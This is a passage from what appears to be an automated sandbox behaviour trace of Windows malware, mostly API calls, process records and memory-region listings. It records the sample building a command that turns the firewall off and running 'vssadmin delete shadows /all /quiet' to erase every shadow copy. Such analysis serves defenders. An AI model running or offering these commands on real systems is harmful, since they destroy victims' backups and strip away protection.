0x34e710 [0066.848] GetProcessHeap () returned 0x2c0000 [0066.848] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x34e730 [0066.848] wcscpy_s (in: _Destination=0x34e730, _SizeInWords=0x6, _Source="netsh" | out: _Destination="netsh") returned 0x0 [0066.848] GetProcessHeap () returned 0x2c0000 [0066.848] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x34e750 [0066.848] GetProcessHeap () returned 0x2c0000 [0066.848] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x34e770 [0066.848] wcscpy_s (in: _Destination=0x34e770, _SizeInWords=0xc, _Source="advfirewall" | out: _Destination="advfirewall") returned 0x0 [0066.848] GetProcessHeap () returned 0x2c0000 [0066.848] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x34e790 [0066.848] GetProcessHeap () returned 0x2c0000 [0066.848] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x304350 [0066.848] wcscpy_s (in: _Destination=0x304350, _SizeInWords=0x4, _Source="set" | out: _Destination="set") returned 0x0 [0066.848] GetProcessHeap () returned 0x2c0000 [0066.848] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x34e7b0 [0066.848] GetProcessHeap () returned 0x2c0000 [0066.848] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1e) returned 0x343920 [0066.848] wcscpy_s (in: _Destination=0x343920, _SizeInWords=0xf, _Source="currentprofile" | out: _Destination="currentprofile") returned 0x0 [0066.848] GetProcessHeap () returned 0x2c0000 [0066.848] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x34e7d0 [0066.848] GetProcessHeap () returned 0x2c0000 [0066.848] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x34e7f0 [0066.848] wcscpy_s (in: _Destination=0x34e7f0, _SizeInWords=0x6, _Source="state" | out: _Destination="state") returned 0x0 [0066.848] GetProcessHeap () returned 0x2c0000 [0066.848] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x34e810 [0066.848] GetProcessHeap () returned 0x2c0000 [0066.848] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x304360 [0066.848] wcscpy_s (in: _Destination=0x304360, _SizeInWords=0x4, _Source="off" | out: _Destination="off") returned 0x0 [0066.848] GetProcessHeap () returned 0x2c0000 [0066.848] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x346300 | out: hHeap=0x2c0000) returned 1 [0066.848] GetProcessHeap () returned 0x2c0000 [0066.848] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x34e6d0 | out: hHeap=0x2c0000) returned 1 [0066.849] GetProcessHeap () returned 0x2c0000 [0066.849] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x34e770 | out: hHeap=0x2c0000) returned 1 [0066.849] GetProcessHeap () returned 0x2c0000 [0066.849] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x34e770 [0066.849] _wcsnicmp (_String1="set", _String2="dum", _MaxCount=0x3) returned 15 [0066.849] _wcsnicmp (_String1="set", _String2="hel", _MaxCount=0x3) returned 11 [0066.849] _wcsnicmp (_String1="set", _String2="?", _MaxCount=0x3) returned 52 [0066.849] _wcsnicmp (_String1="set", _String2="res", _MaxCount=0x3) returned 1 [0066.849] _wcsnicmp (_String1="set", _String2="imp", _MaxCount=0x3) returned 10 [0066.849] _wcsnicmp (_String1="set", _String2="exp", _MaxCount=0x3) returned 14 [0066.849] _wcsnicmp (_String1="set", _String2="con", _MaxCount=0x3) returned 16 [0066.849] _wcsnicmp (_String1="set", _String2="fir", _MaxCount=0x3) returned 13 [0066.849] _wcsnicmp (_String1="set", _String2="mai", _MaxCount=0x3) returned 6 [0066.849] _wcsnicmp (_String1="set", _String2="mon", _MaxCount=0x3) returned 6 [0066.849] _wcsnicmp (_String1="set", _String2="set", _MaxCount=0x3) returned 0 [0066.849] _wcsnicmp (_String1="currentprofile", _String2="help", _MaxCount=0xe) returned -5 [0066.849] _wcsnicmp (_String1="currentprofile", _String2="?", _MaxCount=0xe) returned 36 [0066.849] wcstok (in: _String="domainprofile", _Delimiter=" ", _Context=0xf6800 | out: _String="domainprofile", _Context=0xf6800) returned="domainprofile" [0066.849] _wcsnicmp (_String1="currentprofile", _String2="domainprofile", _MaxCount=0xe) returned -1 [0066.849] wcstok (in: _String="privateprofile", _Delimiter=" ", _Context=0xf6830 | out: _String="privateprofile", _Context=0xf6830) returned="privateprofile" [0066.849] _wcsnicmp (_String1="currentprofile", _String2="privateprofile", _MaxCount=0xe) returned -13 [0066.849] wcstok (in: _String="publicprofile", _Delimiter=" ", _Context=0xf6860 | out: _String="publicprofile", _Context=0xf6860) returned="publicprofile" [0066.849] _wcsnicmp (_String1="currentprofile", _String2="publicprofile", _MaxCount=0xe) returned -13 [0066.849] wcstok (in: _String="currentprofile", _Delimiter=" ", _Context=0xf6890 | out: _String="currentprofile", _Context=0xf6890) returned="currentprofile" [0066.849] _wcsnicmp (_String1="currentprofile", _String2="currentprofile", _MaxCount=0xe) returned 0 [0066.849] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x0 | out: _String=0x0, _Context=0x0) returned 0x0 Thread: id = 50 os_tid = 0xff0 Thread: id = 51 os_tid = 0xb8 Thread: id = 52 os_tid = 0x388 Thread: id = 53 os_tid = 0x8d0 Thread: id = 54 os_tid = 0x890 Process: id = "6" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x44d8f000" os_pid = "0xf5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xf2c" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f3d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 560 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 561 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 562 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 563 start_va = 0xb0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 564 start_va = 0x77280000 end_va = 0x77428fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 565 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 566 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 567 start_va = 0xff6e0000 end_va = 0xff70cfff monitored = 0 entry_point = 0xff700384 region_type = mapped_file name = "vssadmin.exe" filename = "\\Windows\\System32\\vssadmin.exe" (normalized: "c:\\windows\\system32\\vssadmin.exe") Region: id = 568 start_va = 0x7feff5a0000 end_va = 0x7feff5a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 569 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 570 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 571 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 572 start_va = 0x130000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 573 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 574 start_va = 0x7fefd4d0000 end_va = 0x7fefd53bfff monitored = 0 entry_point = 0x7fefd4d2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 575 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 576 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 577 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 578 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 579 start_va = 0x130000 end_va = 0x196fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 580 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 581 start_va = 0x7feff060000 end_va = 0x7feff13afff monitored = 0 entry_point = 0x7feff080760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 582 start_va = 0x7fefebb0000 end_va = 0x7fefec4efff monitored = 0 entry_point = 0x7fefebb25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 583 start_va = 0x7feff1e0000 end_va = 0x7feff1fefff monitored = 0 entry_point = 0x7feff1e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 584 start_va = 0x7fefd5a0000 end_va = 0x7fefd6ccfff monitored = 0 entry_point = 0x7fefd5eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 585 start_va = 0x7fefada0000 end_va = 0x7fefadb8fff monitored = 0 entry_point = 0x7fefada11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 597 start_va = 0x77060000 end_va = 0x77159fff monitored = 0 entry_point = 0x7707a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 598 start_va = 0x7fefed00000 end_va = 0x7fefed66fff monitored = 0 entry_point = 0x7fefed0b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 599 start_va = 0x7fefd940000 end_va = 0x7fefd94dfff monitored = 0 entry_point = 0x7fefd941080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 600 start_va = 0x7fefdd50000 end_va = 0x7fefde18fff monitored = 0 entry_point = 0x7fefddca874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 601 start_va = 0x7fef9cf0000 end_va = 0x7fef9d06fff monitored = 0 entry_point = 0x7fef9cf1060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 602 start_va = 0x7fefd730000 end_va = 0x7fefd932fff monitored = 0 entry_point = 0x7fefd753330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 608 start_va = 0x7feff2d0000 end_va = 0x7feff3a6fff monitored = 0 entry_point = 0x7feff2d3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 609 start_va = 0x7fef9d10000 end_va = 0x7fef9ebffff monitored = 0 entry_point = 0x7fef9d11010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 610 start_va = 0x50000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 611 start_va = 0x1a0000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 620 start_va = 0x3d0000 end_va = 0x557fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 621 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 622 start_va = 0x90000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 623 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 624 start_va = 0x7fefec50000 end_va = 0x7fefec7dfff monitored = 0 entry_point = 0x7fefec51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 625 start_va = 0x7fefed80000 end_va = 0x7fefee88fff monitored = 0 entry_point = 0x7fefed81064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 626 start_va = 0x560000 end_va = 0x6e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 627 start_va = 0x6f0000 end_va = 0x1aeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 632 start_va = 0x50000 end_va = 0x5cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vssadmin.exe.mui" filename = "\\Windows\\System32\\en-US\\vssadmin.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssadmin.exe.mui") Region: id = 637 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 638 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 640 start_va = 0x1af0000 end_va = 0x1b6cfff monitored = 0 entry_point = 0x1afcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 641 start_va = 0x1af0000 end_va = 0x1b6cfff monitored = 0 entry_point = 0x1afcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 642 start_va = 0x7fefd0c0000 end_va = 0x7fefd0cefff monitored = 0 entry_point = 0x7fefd0c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 645 start_va = 0x1c50000 end_va = 0x1ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 646 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 648 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 649 start_va = 0x7feff140000 end_va = 0x7feff1d8fff monitored = 0 entry_point = 0x7feff141c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 653 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 654 start_va = 0x1d60000 end_va = 0x1ddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d60000" filename = "" Region: id = 655 start_va = 0x7fefcac0000 end_va = 0x7fefcad7fff monitored = 0 entry_point = 0x7fefcac3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 656 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 657 start_va = 0x1af0000 end_va = 0x1b34fff monitored = 0 entry_point = 0x1af1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 658 start_va = 0x1af0000 end_va = 0x1b34fff monitored = 0 entry_point = 0x1af1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 659 start_va = 0x1af0000 end_va = 0x1b34fff monitored = 0 entry_point = 0x1af1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 660 start_va = 0x1af0000 end_va = 0x1b34fff monitored = 0 entry_point = 0x1af1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 661 start_va = 0x1af0000 end_va = 0x1b34fff monitored = 0 entry_point = 0x1af1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 662 start_va = 0x7fefc7c0000 end_va = 0x7fefc806fff monitored = 0 entry_point = 0x7fefc7c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 663 start_va = 0x1de0000 end_va = 0x20aefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 664 start_va = 0x7fefd1b0000 end_va = 0x7fefd1c3fff monitored = 0 entry_point = 0x7fefd1b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 673 start_va = 0x1b30000 end_va = 0x1baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 674 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 675 start_va = 0x2180000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 676 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 694 start_va = 0x7fef63d0000 end_va = 0x7fef63e3fff monitored = 0 entry_point = 0x7fef63dc210 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Thread: id = 22 os_tid = 0xf60 Thread: id = 23 os_tid = 0xf64 Thread: id = 24 os_tid = 0xf68 Thread: id = 25 os_tid = 0xf6c Thread: id = 26 os_tid = 0xf70 Process: id = "7" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x43736000" os_pid = "0xf74" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00069d63" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 695 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 696 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 697 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 698 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 699 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 700 start_va = 0xc0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vssvc.exe.mui" filename = "\\Windows\\System32\\en-US\\VSSVC.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssvc.exe.mui") Region: id = 701 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 702 start_va = 0xf0000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 703 start_va = 0x170000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 704 start_va = 0x270000 end_va = 0x27cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 705 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 706 start_va = 0x290000 end_va = 0x297fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 707 start_va = 0x2a0000 end_va = 0x2a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 708 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 709 start_va = 0x3f0000 end_va = 0x577fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 710 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 711 start_va = 0x5f0000 end_va = 0x770fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 712 start_va = 0x780000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 713 start_va = 0x8e0000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 714 start_va = 0x990000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 715 start_va = 0xa60000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 716 start_va = 0xb00000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 717 start_va = 0xc90000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 718 start_va = 0xd10000 end_va = 0xfdefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 719 start_va = 0x1050000 end_va = 0x10cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 720 start_va = 0x77060000 end_va = 0x77159fff monitored = 0 entry_point = 0x7707a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 721 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 722 start_va = 0x77280000 end_va = 0x77428fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 723 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 724 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 725 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 726 start_va = 0xff480000 end_va = 0xff60afff monitored = 0 entry_point = 0xff5b0804 region_type = mapped_file name = "vssvc.exe" filename = "\\Windows\\System32\\VSSVC.exe" (normalized: "c:\\windows\\system32\\vssvc.exe") Region: id = 727 start_va = 0x7fef63d0000 end_va = 0x7fef63e3fff monitored = 0 entry_point = 0x7fef63dc210 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 728 start_va = 0x7fef6f60000 end_va = 0x7fef6f68fff monitored = 0 entry_point = 0x7fef6f6325c region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 729 start_va = 0x7fef6f70000 end_va = 0x7fef6f83fff monitored = 0 entry_point = 0x7fef6f71324 region_type = mapped_file name = "xolehlp.dll" filename = "\\Windows\\System32\\xolehlp.dll" (normalized: "c:\\windows\\system32\\xolehlp.dll") Region: id = 730 start_va = 0x7fef9040000 end_va = 0x7fef9058fff monitored = 0 entry_point = 0x7fef9041104 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 731 start_va = 0x7fef9060000 end_va = 0x7fef90affff monitored = 0 entry_point = 0x7fef9061190 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 732 start_va = 0x7fef98b0000 end_va = 0x7fef98b9fff monitored = 0 entry_point = 0x7fef98b42bc region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 733 start_va = 0x7fef9cf0000 end_va = 0x7fef9d06fff monitored = 0 entry_point = 0x7fef9cf1060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: 